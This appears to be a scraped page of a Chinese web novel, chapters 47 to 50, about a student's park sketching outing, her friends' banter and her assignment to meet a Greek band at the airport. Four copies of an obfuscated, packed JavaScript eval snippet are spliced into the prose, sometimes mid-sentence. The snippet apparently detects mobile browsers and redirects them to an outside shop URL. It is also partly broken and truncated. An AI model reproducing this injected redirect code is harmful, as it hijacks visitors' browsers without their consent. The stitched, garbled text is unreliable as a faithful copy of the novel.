;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208459|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 换回雏鸟周小组的聊天框,短短离开几分钟,她刚才发的消息就已经被顶到上面去了。 小组成员们像是土拨鼠一样纷纷冒头,聊得热火朝天。 温枣:「罗可公园我去过,那地方景色可美了!有草地,有湖泊,还可以喂鸽子。」 何元楚加入聊天:「你不是想喝酒吗?」 温枣:「公园也可以喝酒呀!要是我也能跟着去的话,就带上一箱冰镇红酒,再带点小零食什么的,就地野餐~!」 何元楚:[无语的表情包] 费洛突然出现:「什么什么,要去哪?[好奇]」 温枣:「森芽周六要去罗可公园参加写生活动,我打算和她一起去!」 费洛:「她会画画?」 温枣替她隐瞒了一些:「不知道诶……可能是去玩的也说不定?就像我一样。」 何元楚:「人家团长还没发话说让你去呢。」 温枣:「不让我跟着,我就假扮成游客,这他总管不着吧?[鬼脸]」 何元楚:[大无语的表情包] 庄森芽回到了小组聊天:「我刚才问团长了,团长说很欢迎带朋友去。」 温枣:「太好了!@何元楚一起去吧!」 何元楚:「我去干什么?」 温枣:「东西太多了,我拿不了。」 庄森芽有一丝不祥的预感:「你要带什么,我的枣枣……」 温枣细数着:「一箱红酒,装红酒的冷藏柜,早餐午餐晚餐,零食水果饮料,桌游无人机Cosplay服,差不多就这些?」 庄森芽:「……」 何元楚:「……」 费洛:「6」 温枣:「[疑惑]怎么了,不够吗?」 何元楚:「野餐不是露营,你怎么不把你家搬过去呢。」 温枣:「我老爹没买公园那块地诶。」 费洛:「什么意思,你买得起?」 温枣:[小鸟点头的表情包] 费洛:「?」 何元楚:「你别带那么多东西,也就在公园待一个白天,用不上。」 温枣:「我想带嘛。」 何元楚:「……那到时候我把车从你家开过来,你把东西装车上,我开车带你们过去。」 费洛:「不是哥们,你有车?」 何元楚:「@温枣她的。」 温枣:「但是我不会开哈哈哈。」 费洛:「……」 庄森芽:「姐姐,收留心碎小妹吗?[可怜]」 费洛:「姐,你还记不记得你有个叫温洛的弟弟?[可怜]」 温枣:「哈哈哈哈哈,收留收留,都要都要!」 何元楚:「@费洛你去不去?雏鸟周回来之后就没看到过你了。」 费洛:「当然了,我姐在哪我在哪。[墨镜]」 何元楚:「德性。」 温枣:「那就说好了哦,周六一起陪森芽去罗可公园写生~」 庄森芽:[傻眼的熊猫头] 何元楚:[OK] 费洛:「好,明天见!」 放下手机,庄森芽这才有些恍然地意识到,罗可公园一游居然就这么突然多出来了三个陪同。 她又开心又有点哭笑不得,看温枣的架势,是要把这次活动改造成什么小型聚会了。 虽然之前就知道她可能家里有点钱,因为她平时穿的以粉白色为主色调的小衣服小裙子都是无商标的定制款,虽然剪裁得花里胡哨,却没有一丝廉价感。但富裕到能把罗可公园买下来的程度,庄森芽倒是完全没有想到。 大学里深藏不露的狠人就是多啊,她想。 47. 物以类聚 收拾了一晚上东西,第二天,庄森芽来到了校门口的集合点。 绘画社的团长孟高义背着一大兜子画板,那些是为了给没有绘画用具的新成员提供的。 庄森芽自己虽然画漫画,但毕竟不是科班出身,没有素描和水彩的经验,写生对她而言是一个陌生大于熟悉的课题。 206号宿舍楼离大门口很近,来来往往出入的学生们打量着绘画社的成员们,好奇这是要去做什么。 温枣和费洛先后抵达,找到了人群中的庄森芽。 庄森芽看到他们两个人,问道:“你们怎么没和元楚一起坐车过去?” “东西太多,人已经坐不下啦!”温枣说。 女孩今天穿了一身汉服,梳了个俏皮的发型,庄森芽总觉得这个形象有点眼熟,但记不清是在哪个剧目里见到过了。 “哇,你究竟带了多少……”庄森芽感叹。 费洛:“我去帮忙搬东西看到了,只能说希望元楚开到半路不会被交警拦下来吧。” 温枣十分乐观:“不会的啦,元楚开车很稳的。” “这个和稳不稳好像没什么关系,他现在在车里扭头都看不到后玻璃……” “森芽~!” 几人交流的时候,一声呼唤从不远处传来。 庄森芽回过头去,发现拎着两份外卖的舍友汪素文正朝自己走来。她毫不怀疑,另一份外卖是那个懒蛋子莫茹的。 汪素文走上前来,对庄森芽说:“你要出去玩吗?” 庄森芽:“嗯,要去罗可公园写生,就快出发了。” “路上小心哟。”汪素文嘱咐,声音甜甜的,和她可爱的外表十分契合。她看了一圈庄森芽周围的人,目光落在费洛的身上,“咦,费洛学长也要去吗?” 费洛模样有点难为情,“嗐,都说了不用叫我学长。” “你们玩得开心哦。”汪素文笑着说,“那我就先回——” “你要不要一起去?”费洛突然问她。 汪素文指着自己,“我吗?” “嗯。” “可是……”汪素文有点犹豫,“我刚刚点了外卖。” “带上就行,我可以替你拿着。”费洛给出了方案。 庄森芽听着,却是狐疑地盯着费洛,总觉得他哪里不太对劲,比如动作就有点僵硬。 她搞不懂费洛怎么会突然对汪素文提出邀请,他虽然性格像金毛犬一样热情,但第六感告诉庄森芽,他不是对见到的所有人都这样。 旁观的她脑袋里急速地回想了一番这两个人过往的交流,记忆里呈现出来几个画面。 第一个是在百团大战那天,庄森芽和汪素文两人去学生会摊位上报名,那个时候费洛在场,表现得很热心。 第二个画面是在前两天的外联部会议上,汪素文说想去拉赞助,费洛紧接着说他也想去。 这两个人,嗯……她不好说,短短两面会有这么熟吗? 趁费洛和汪素文交流的空挡,庄森芽靠近好友温枣的身边,用胳膊肘碰了碰她,“你觉不觉得这两人有点什么?” 温枣盯着费洛和汪素文,脸上是一副单纯的表情,“他俩看起来挺合得来?” 庄森芽恍然大悟,感觉找到了知己,“对哦,合得来,就是这个词。” “他们一定能成为很好的朋友吧。”温枣笑着说。 “是的是的,能成为很好的朋友。”庄森芽非常认可。 刚才怎么没想到呢,一定是因为他们很合得来所以才一见如故。 庄森芽如此笃定,不疑有他。 “那我先把外卖送上去,舍友还在等着吃饭。”汪素文应下了邀约,“等我一下,我马上下来。” 费洛模样看起来很开心,仿佛有一条隐形的尾巴在他身后来回摆动,“好的,不用太急,大部队应该还有十几分钟才走。” 汪素文离开后,费洛转向他的两个小组成员,表情有点复杂,像是开心中还带着一丝羞怯。 庄森芽不知道他在因为什么害羞,看向温枣。温枣摇摇头,她也不知道。 过了一阵子,汪素文下来了,她不是一个人,身边还跟着一个莫茹。 两个身形娇小的女生手臂挽着手臂走出来,一副亲密无间的模样。 不知为何,看到这一幕的费洛有些沮丧,而庄森芽之所以会注意到他的情绪变化,是因为他发出了一阵惋惜的嘀咕。 “好吧,看起来不会有独处时间了……” 庄森芽从上到下打量着费洛。 金毛犬今天很奇怪。 人到齐了,包括庄森芽在内有五人:温枣、费洛、汪素文、莫茹。四女一男,费洛成功混进女子阵营。 庄森芽带着这几个人浩浩荡荡来到了团长孟高义眼前,孟高义傻眼了。 “森芽你,到底带了多少人来啊……?!”绘画社团长看起来有点崩溃,“我没准备那么多画板……” 庄森芽解释:“没事的,团长,这些人不参与写生。” 温枣也站出来,拍拍自己的胸脯,“放心吧,这位团长大哥!这伙人的开销都算在我的头上,交通和饮食全包了,不会给你的社团经费造成什么负担的。” “不,也不是经费的问题……”孟高义虽然嘴上这么说,模样却是放松了下来,紧接着,有些不好意思地呵呵笑了两声,“好吧,确实经费有点问题,小社团太穷了哈哈。不过你们要是有什么需要,随时和我说,我一定想办法。” 温枣非常自来熟,“有你这句话就够啦。” 罗可公园在郊区,离上茂哈里森大学不远,学生们部分结伴搭乘公交车,有些愿意多走两步路的,便搭伙去往地铁站。 而温枣则开启了她的豪气之旅,第一件事情就是叫了两辆豪华轿车。 费洛说一辆车挤挤能坐下,温枣说既然有打两辆车的钱为什么要打一辆,这话直接把费洛说沉默了。 于是雏鸟周的三人坐上了一辆,沾了庄森芽的光的汪素文和莫茹则上了另一辆。 车辆启动的时候,费洛望着另一辆车,时不时叹息,看起来望眼欲穿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208460|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “狗哥,你今天怎么这么奇怪。”庄森芽还是没忍住问了出来。 费洛坐在副驾驶,撑着玻璃窗下一小条边缘,声音有点郁闷,“你们居然不懂我……” 庄森芽歪头,困惑,“懂什么?” 温枣眨眼,迷茫,“什么不懂你?” 费洛往后座扫视了一眼,有点无奈,“你们是真的不明白还是在玩我……” “哎呀,糟了,我本来还准备了路上的零食……!”温枣的注意力转移得很快,费洛刚开始说话的时候她开始翻自己的包,费洛说完话的时候她已经开启下一个话题了,“可是我忘记拿出来,直接被元楚带走了!” 被无视的费洛:“……” 谁声音大谁掌握话语权,庄森芽也一下子被吸引到温枣这边,“等一下再吃吧?反正也不会跑。” “只能这样了……还想吹着风喝口小酒来着,可惜。”温枣痛惋。 庄森芽:“又是酒啊……” 副驾驶的费洛抽了抽鼻子,一副犬类被遗弃的模样,抱着自己弱小地缩在驾驶座的角落。 路上,后驾驶充满了欢声笑语,费洛的低沉只持续了不到五分钟,就开始和她们没心没肺地嘻嘻哈哈起来。 二十多分钟,车辆到达了罗可公园门口。 他们先去停车场找到了何元楚,又带着一大堆行李和绘画部的人汇合。 罗可公园中有一片湖,名叫罗可湖。团长孟高义带着成员们来到了一个视角非常好的地段,在这里既能看到罗可湖的全貌,又能将河畔的美景收入眼中。 学生们便在草地上搭建起了各自的‘工事’,来认真写生的架起了画板,一些来玩的混子则铺开了野餐垫。 而混子之中当属庄森芽这一拨人最为过分,别人都是铺一个野餐垫,上面摆放些零食水果之类的;而他们却是架起了一个野炊帐篷,摊开了一张伸缩桌,这边摆了个小冰箱,那边支起来一个烧烤架,一副准备万全的架势。 庄森芽站在旁边看男生们点炭火,又四下观察了一下周围,发现好多学生好奇地打量着他们,这让她有点不好意思。毕竟这伙人里只有她一个是绘画社的人,其他那些在旁人眼中都是她带过来的,平静优美的写生硬生生变成了野炊,总觉得破坏了别人高雅的兴致。 有点拘谨的庄森芽来到温枣身边,不太自信地问她,“枣枣,别人都在写生,我们这样是不是不太好?” 温枣看起来很认真地思考了一番这个问题,“对哦,我们等下还要烤肉什么的,味道会很大。” “要不要换个地方?” “不用。”温枣信誓旦旦,她从帐篷下往外走了两步,冲那些写生的学生们大喊,“哈里森的小伙伴们,画累了可以来吃东西!有酒有肉,无限供应,包你满意!” “好!”她收到了陌生人的回应。 温枣一脸‘问题解决’的表情往回走。庄森芽瞠目结舌地盯着她。 虽然知道她社牛,但这也太社牛了吧! 自己以后还是应该多和她学习学习才是…… 48. 随笔 帐篷下的一切都安排妥当了,庄森芽拎着一罐饮料,加入了写生的队伍。 坐在一块画板前,面前是低调静谧的罗可湖,茂盛的植被将它包裹起来,免受城市钢筋的侵扰。 对着画板,旁边是颜料盘,庄森芽毫无头绪,无从下手。于是盯着周围的人都是怎么落笔,照猫画虎学了起来。 在纸上乱画一气的感觉非常解压,反正也没学过相关的绘画知识,不必被那些东西束缚,画得有没有问题自己也不知道,看着好看就行呗。 不过也不能真的画成一坨屎,她等下还想和人请教一下经验,这次写生来了不少大神,是个和他们交流借鉴的好机会。 湖美,于是她先盯着湖画,调色板上半天调不出它碧蓝的颜色,庄森芽就用自己喜欢的蓝替代。 波纹用浅色的线勾勒,水上的鸭子用黑色的笔点一下就成型,倒影很难,那就先放在一边不管。 身后不远处的帐篷下传来欢声笑语,有温枣的声音,还有费洛的声音,他们两个是最吵闹的,而何元楚、汪素文和莫茹的说话声几乎听不见。 庄森芽不知道几人在聊什么,也没有听他们对话的内容,把那些欢乐的声音当成了背景音,专注地用手下的画笔复刻现实中的场景。 嗡嗡—— 手机响了一下,她暂时没管。 用深绿的色彩勾勒出湖边上的一棵树,把阴影打上去,补全了它在水中倒影,庄森芽捏着笔在放在嘴前,左右观赏了一番,又填了几笔,直到满意才停下来。 她坐得有点累了,站起来去帐篷摸了点零食吃,又和朋友们嬉闹了一番,这才回到画板前。 想起来前不久手机似乎响了,于是这才掏出来看。 她收到了一条消息,是备注着‘神经病’的人给她发来的。 首先是一张照片,照片上是海,海边有白色的房子,游艇在水上拉出一条泛着泡沫的白线,朝阳从海平面的彼端缓缓升起。 下面是一段很长的文字: 「明天要早点起,和埃托雷把曲子谱完,这件事已经拖了太久了。伊莎多拉太太家的老伯恩山怀了一窝小狗崽,但是它最近心情不太好,伊莎多拉太太邀请我去弹几首它小时候爱听的曲子,要是老伯恩山给我面子的话,或许半天就能搞定。下午要和经纪人去米谢咖啡店谈谈品牌合作,但我不太想在广告上露脸,我想品牌方也不会想要一个动不动就消失的代理人。顺利的话,还能在夜生活到来之前回自己的工作室待一阵,最近灵感宛如溃堤,可总是没有时间将它们完好地捕获,不过,算了,消失的那些就让它们随风而去吧。晚上去海岸边上新开的日落餐厅呆上一阵,听说他们家做的香橙派不错,但晚上实在没什么胃口吃派,所以还是打包带回去一个留着后天吃吧。」 看完了这段流水账一样的文字,庄森芽不禁感到困惑。 诺特斯这是在说什么?他是不是发错人了…… 没心情搭理对方,庄森芽只是把那张很好看的海景图存了下来,然后就把手机放在一旁,继续在画板上作画。 有了画第一棵树的经验,第二颗便画得更顺畅了许多,深浅不一的绿植排列在河岸旁,有松柏,有绿柳,还有在秋季盛开最后一次的桂菊。 徜徉在画笔创造出的宁静世界中,庄森芽几乎屏蔽了外界的信号,所以,当有人从身后接近的时候,她依然没有发觉。 “你画的湖怎么和实际不一样啊?” 庄森芽吓了一跳,手一抖,黑色的颜料在画纸上留下一个浓重的墨点。她回过头去,发现是费洛站在自己的身后。 “你怎么还画了海鸥上去。”费洛俯身盯着她的画。 庄森芽这才从全局的角度看了一眼自己笔下的画作,湖面上方是绿荫,绿阴上方是蔚蓝的天空,而在天空之中,有几个白色的小点,怎么看那都是海鸥的形状。 咦?奇怪,她什么时候画上去的。 难道是因为看了诺特斯发来的那张海景图,不小心把上面的东西腾挪到了自己的画板上? “欸,我跟你商量个事。”费洛在庄森芽身边蹲了下来,一双亮晶晶的眼睛盯着她,活像期盼出门遛弯的狗子。 庄森芽:“什么事?” “那个汪素文是你舍友吧?” “对呀。” “把你知道的关于她的事情都告诉我呗。” “你要干嘛?” “你先别管。” 庄森芽皱眉。 费洛想干什么,为什么堂而皇之地来查她舍友的户口,汪素文怎么他了,他要调查人家的底细。 庄森芽才不会出卖自己的朋友。 话是这么说…… “我告诉你,对我有什么好处?”且先让她听听费洛能提供什么作为交换。 费洛凑上前来,压低了声音,用手挡住嘴巴,“我可以帮你追裴佑哲。” “啊?”她发出困惑的声音,百般不解,“这算什么好处?” 费洛用胳膊碰了一下她的腿,煞有介事,“你不是喜欢他吗?我是他的御用造型师,可以经常帮你在他的耳根子旁边吹风。” 庄森芽哭笑不得,“我不喜欢他啊。” 这是她近期听到的最离谱的话,费洛到底为什么会这么认为? 金毛猎犬摆摆手,“没事,不用隐瞒。都是兄弟,自己人,我绝不会拿着个嘲笑你,也没什么丢人的,喜欢佑哲是人之常情。” 见费洛这副信誓旦旦的模样,庄森芽都快不知道该说什么好了,她这个当事人怎么不知道自己喜欢裴佑哲。 “我真不……”庄森芽说,“你听谁造谣的呀?” 费洛结巴了一下,“就、就是有人告诉我的。” “谁啊?”庄森芽很好奇是谁散布的谣言,认识的人里应该没人会觉得她喜欢裴佑哲,难道是不太了解情况的旁人?她隐约记得自己有几次和学生会主席的互动,那些可能多少有点让人产生误会,或许是当时的情景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208461|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被别人看到了。 费洛盯着庄森芽看了半晌,突然倒吸了一口冷气,“真的假的,你看起来好像真的……可佑哲跟我说你——” 嗡嗡。 手机又响了起来,庄森芽拿起它,点进聊天软件,发现又是那个‘神经病’发来的消息。 依然先是一张配图,图上是一张海岛,白色的山石拔海而起,绿色的植被像是一层抹茶粉一样撒在白色山岩的表面;海水清澈见底,蓝白两色形成了鲜明的反差。 而图片的下方又是很长的一段话: 「后天跟着渔船到一座没怎么被旅游公司开发的小岛上去转一转,最近有点想写一首有关海岛的歌,题目已经想好了,就叫《无人之岛上隆隆作响的心》,名字有点长,倒像是我以前写的诗歌。早上的时候阿蒂和她爸爸会把我放到海岛上,晚上再来接我。虽然我自己也能想办法过去,但偶尔也会想要用普通人的方式。行李就不带了,岛上有什么就吃什么吧,前些天和乐队里的……呃,鼓手学了一点蒸馏技术的皮毛,希望能派得上用场。哎,我总是记不住那个鼓手小哥叫什么,他的名字是希腊人最常取的一种,我听一次忘一次。总而言之,希望小海岛能给我些灵感吧,不过不管它给不给,我都得在晚上回到纳夫普利翁,然后趁没打烊再去一次日落餐厅,如果他家的香橙派真的很不错的话。」 庄森芽看完了就在想,这家伙是把她当成备忘录了吗?还是日记本? 她编辑了一条消息发给诺特斯:「干嘛发这些给我?」 与此同时,费洛的声音在她身旁响起,“你真不喜欢佑哲啊?那你喜欢谁?” 庄森芽边打字,边分出心来应付他:“喜欢谁……暂时谁也不喜欢吧。” 诺特斯很快回了消息过来:「不是让我报备吗?」 见她这么专注,费洛也往她手机上瞧,“‘神经病’……?是外联部开会那天给你发消息的那个?” 庄森芽侧过身来,用手机壳背面冲着他,“不许偷看别人的手机。” 她可不希望被费洛看到什么诺特斯发来的奇怪内容。 庄森芽继续给那个男人回信:「没让你事无巨细地报备,只通知和我有关的事情就够了。」 对面的人半晌后回复:「好吧。」 庄森芽放下手机,费洛还在磨她。 “好吧,既然你说你不喜欢佑哲,那我就给你换个好处……一次免费的形象设计怎么样?” 庄森芽上下打量着费洛,这个形象大使的品味确实很高,可惜她不敢恭维,“免了,我还是想低调做人。” 虽然她染的一头白发也没什么说服力。 费洛眉毛都垂了下来,抓着庄森芽一条胳膊,摇晃起来,“森芽,帮帮你的好兄弟……” 庄森芽起了一身鸡皮疙瘩,她没想到自己还有被大男人撒娇的一天,“你要素文的信息想干嘛啊?” “就是想了解了解她,方便和她多聊聊天。”费洛一脸诚恳。 49. 突然的任命 庄森芽谨慎地思考了片刻,心想费洛也不是什么坏人,可能只是因为聊得不错,想进一步了解,所以才来找她旁敲侧击汪素文的情况。 “好吧。”她最终还是把自己的舍友供了出去,“你想了解什么?事先说明,我知道的也不多。” 得到了应允,费洛整个人都精神了起来,嘴上片刻不歇地丢出来一连串问题,“她之前上什么高中?之前有没有过男朋友,喜欢什么类型?平时在宿舍喜欢做什么,喜欢吃什么?周末了喜欢去哪玩?有没有什么偶像?喜欢看什么——” “停,打住。”庄森芽及时制止,“我想到什么跟你说什么吧。” 费洛连连点头。 庄森芽把她所知道的有关于汪素文的事情都告诉了对方,包括她家境似乎不太好,申请外联部是因为听说拉赞助的话会有很多兼职的机会;很喜欢小动物,宿舍里养了一只小仓鼠,将来的愿望是开一家宠物店;喜欢什么类型不清楚,但应该没谈过恋爱。 “谢谢你,我的恩人……!”听完了庄森芽的描述,费洛感激涕零地给她行了个大礼,随后摇着尾巴又回到了帐篷底下。 总算是把人给送走了,庄森芽将自己的注意力转移到了画作上。 她有些心不在焉,盯着沉静的罗可湖,脑海里却是一副完全不同的画面。 那是片海,上面有飞翔的海鸥,落日像煎蛋一样只露了半个头,它在海面上洒下波澜壮阔的橙红余晖。而她就坐在沙滩上,清凉的海风拂面而来,看着眼前自然的鬼斧神工,它们为她献上一曲终幕。 看完诺特斯发来的那两张照片,她脑海里出现的就是这样的景象。 希腊……是个很美的地方吗? 没想到那家伙还真的融入到当地的生活中去了,还和那么多人建立了联系,就像个普通的平凡人那样。 庄森芽拿起画笔,加了些黑色的颜料,笔尖轻触罗可湖边的沙地,她在斟酌。 片刻后,笔尖下压,一道黑色的影子出现在沙地上,又点了几笔,一个高挑的背影跃然纸上。 画面里,男人双手随意地插在口袋里,背对着画作之外的她。 “……” 她在干什么……画他做什么? 庄森芽晃了晃脑袋,让自己的思绪抽离,又取了蓝色的颜料,几笔将那个身影掩埋。 那之后,她继续投入进未完的罗可湖大作之中。 画得差不多了,就拿着自己的作品去和大神们请教,得到了很多热情的指导,感觉对绘画的理解又透彻了几分。 她把画板上交给团长,卷起自己那幅画收好,回到了帐篷底下,加入了温枣他们的队伍,开始没心没肺地吃喝玩乐。 这一天很解压,写生活动完美收官,先前的疲惫感觉都一扫而空,澄澈的心灵和身体已经准备好应对下一个忙碌的一周。 然而,当下一周真的到来的时候,她觉得自己这句话有点说早了。 周一的时候,外联部部长段子良紧急召开会议。 她在群里召唤了十名成员,要他们立刻前往活动大楼开会,不来的扣学分,穿睡衣都得来。 而她发这条消息的时候,是早上八点。 那个时候,庄森芽刚醒。 她被一阵手机提示声闹得睡不着,眼睛都睁不开,打开手机,艰难地想看看是谁大清早地发消息。 而当她看到发信人是段子良,且她召唤的人中有自己的时候,庄森芽猛然从床上坐起来,一点也不困了。 她就看见了「扣学分」这几个字,大早上脑袋转不太动,完全没思考这句话的合理性,更没想明白到底是威胁还是来真的,掀开被子就往床下跳,极限洗漱更衣,胡乱梳了几下头发,抓着手机就跑出了宿舍。 谁家好社团大清早开会啊。 跑向活动大楼的时候,庄森芽心里鬼哭狼嚎。 好不容易抵达了大楼,坐电梯上了五层,跑到指定的会议室,气喘吁吁地冲进去,结果发现才到了四五个人。 段子良看起来神清气爽,一点早起的狼狈都没有,盯着门口刚到的庄森芽,宣布道:“好,最后一名接机成员确定了!” 庄森芽拄着自己的膝盖,感觉快喘不上气,“?” 会议室里坐着几个人,除了部长以外,副部长冯月客也在,还有几个在庄森芽看起来比较脸生的面孔,不能说没见过,只能说大概率没讲过话。 看到庄森芽脸上是一副困惑的表情,冯月客对她解释说明:“我们刚刚在谈论这个周六的公益演出,乐队需要接机,但现在人手还缺几个,于是部长决定谁先进门谁就负责去接机,到你这里人数刚好凑齐了。” 庄森芽了然。 明白是明白了,但是,这么随意的吗!? 她挑了个位置坐下,被部长召唤过来的成员陆陆续续到场,大家脸上都是一副睡眠不足的倦怠模样。 只有段子良精神头十足,站在会议室的白板前,对到齐的人员说:“今天叫大家来,是想分配一下周末公益演出的相关事宜,你们十人是这次活动的主力。至于为什么这么早叫你们过来开会……是因为我接下来几天很忙,没空。” 段子良说得义正辞严,理直气壮。 部员们都一脸萎靡地盯着她,一副‘你说什么就什么’的颓然模样。 “我简单说一下人员安排。”段子良拿起马克笔,在身后的白板上唰唰写起来,“总共是这么几个方面。舞台设计交给文艺部,音响设备由音乐社承包,摄影摄像交给宣传部,安保从纪检部借人,我们主要负责服装化妆道具、灯光、以及和乐队的对接。” “这么一看,好像没有多少是需要我们做的?”一个部员说。 “主要是对接需要费点力。”段子良在白板上画出几个分支,分支的主题是‘对接’,“对接人员除了负责接机和最初两日的住宿外以外,还需要带人在校内参观,通知演出时间以及其他信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208462|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息,时刻和乐队保持联系,满足他们的各种需求,因为山野猫乐队成员都是希腊人,虽然其中有会英语的,但在这边语言还是不太方便,所以我们需要多关照一些。” 段子良扫视了一遍下面的人,继续说道:“月客,灯光就交给你;服化道还是交给费洛……费洛人呢?” 众人环顾四周,但没发现那个浅黄头发的身影。 “算了,估计是没起来。”段子良不再纠结找他,“反正他这块也熟练,月客你到时候把乐队的演出需要发给他,让他自己琢磨。” 冯月客:“好。” “然后就是和乐队的对接。”她条理清晰地一件件安排着,“接机人选已经确定了,刚才被点到名的自己都记住了啊,别忘了。还有,除了接机,头两日的住宿你们也要一并承包。所有人,除了月客和费洛以外,都要全程跟着乐队,到时候主要对接人是我,我会安排你们各自的工作。” “好的,部长。”部员们回应。 段子良又交代了一些注意事项之后,就宣布散会。这次会议虽然有点折腾人,但是效率很高,组织人很快放这些懒蛋们回去睡觉了。 庄森芽倒是已经完全没有了睡意,她早就知道诺特斯会来学校公益演出,但没想到自己会需要负责相关的事宜。 会闹出什么乱子的预感越来越强烈了…… 要向部长申请退出吗? 可是转而想一想,要是不想发生什么骚乱,把不稳定因素控制在自己的眼皮底下似乎是更好的办法。 庄森芽掏出手机,现在当地时间是早上,希腊时间应该是凌晨,她编辑了一条信息发过去,没指望诺特斯现在就回复她。 庄森芽:「几天之后的接机我也会到场,先跟你提前说一声,不要闹出什么乱子。」 她嘱咐了这么一句,刚把手机塞进口袋里,就听见它嗡的一声。 又翻出来,看到诺特斯已经给她回消息了。 男人发了个笑脸,没说别的。 这个时间应该是希腊的凌晨三四点,也不知道这家伙不睡觉究竟是在做什么。 庄森芽没多想,把手机揣进了裤兜里。 接下来的这几天,繁忙的学业压了上来。 明明只是正式上课第二周,学校却突然像开启了加速模式。 原本中外合办大学的课程普遍比较轻松,平时上午一节下午一节就结束了,偶尔会多上那么一两节,有的时候星期中的某天也会完全不上课。 可是,她这周的课程表已经被排满了,从上午十点到下午六点,没有一天幸免。 晚上又要和学业小组讨论小组作业,偶尔还穿插着要去处理外联部的事,每天回到宿舍,整个人都疲惫不堪,更不要说深夜还有一部连载漫画在等着她赶稿。 这一周,她感觉自己过得像个特种兵。 好不容易熬到了周五,明天就是周末了,她却不能休息,因为还有繁重的任务在等着她。 50. 接机 周五晚上,外联部部长段子良在群里喊人,让负责接机三名人员在校门口集合。 一行人坐上轿车,车辆开往上茂国际机场。 乐队先前给段子良同步过航班信息,飞机预计晚上七点降落。 包括段子良在内,总共有四人接机,但不算上那些来维持现场秩序的纪检部外派人员。 接机的学生们举着「上茂哈里森大学」、「欢迎」一类的接机牌,在出口处等待。与他们一同等待的,还有不知从哪冒出来的歌迷粉丝,恐怕是在乐队的社交平台账号上得知了他们要来上茂市的消息,所以到机场蹲点等候。 航班没有提示晚点,正常落地。 入境的手续比较繁琐,他们等了差不多快有一个小时,才在熙熙攘攘的人群中发现了一伙背着各种各样乐器的人。 那应该就是山野猫乐队了。 “我们在这!”段子良用英文呼唤着他们。 歌迷们也看到乐队成员,纷纷激动地叫起来。 乐队里走出一个只拖了个行李箱的金发男人,他快步走上前来,热情地张开双臂,墨镜下是高高扬起的笑脸,“你们好!” “佩吉,佩吉!签名!”粉丝们呼唤着他。 金发的外国男人有求必应,一下子扎进了人群里,握手、签名、拥抱、合影、收礼物,忙得不亦乐乎。 相较之下,乐队中的其他人就沉稳许多,不慌不忙地从通道走出来,为首的是穿着一袭黑色风衣、同样戴着墨镜的诺特斯。 他们看到了接机牌,于是往学生们的方向走过来。 乐队总共有五个成员,除了诺特斯和刚才那个热情高涨的金发男人之外,还有个背着贝斯的乐手,他留着灰白的长发,看起来有些年纪了;以及一个瘦高的年轻男人,皮肤白里透红;一个留着爆炸头的女生,与诺特斯那比黑巧淡些的肤色不同,她几乎像是暗夜下的黑豹一样,散发着某种神秘的特殊气质。 部长段子良看到他们走过来,边往一边移动,并对他们说:“往这边走吧,车已经准备好了,上车就能出发。” 乐队成员根据她的提示往外部转移,临走前还不忘了把人堆里的金发乐队成员薅出来。 粉丝们跟了上来,段子良带来的纪检部成员拦住了他们,请他们就在这里停步。 庄森芽一直跟在段子良的身后,以备部长有什么需要第一时间顶上。 不过他们是全程英文交流,她这个小菜鸡自认为是担不起什么大事了,可能作用更多是端茶送水送温暖之类的。 从乐队出现到现在的过程中,她看了诺特斯好几眼,但戴着墨镜的男人似乎从未投来过视线。 她心想:还是挺识相的,知道这时候应该装作不认识。 外联部雇了一辆豪华面包车,乐队成员们把行李都装了上去,然后一个个钻进车中。 段子良打开副驾驶的门,回头对自己的部员说:“我把他们送去酒店,你们也打车跟过来。” “好的。” 而就在这个时候,旁边传来了一阵骚动,乐队成员围在面包车的门口,用他们听不懂的语言交流着。 那个热情开朗的金发男人语速飞快地说着些什么,他对面是留着长发的贝斯手,贝斯手摇了摇头,似乎是否定了金发男人的什么提议。 诺特斯也说了句话,语气听起来是个问句。贝斯手听完,把乐器从自己身上摘了下来,然后递给了对面的金发男人,金发男人有点埋怨地咕哝了一句什么,接过贝斯,钻进了车里。 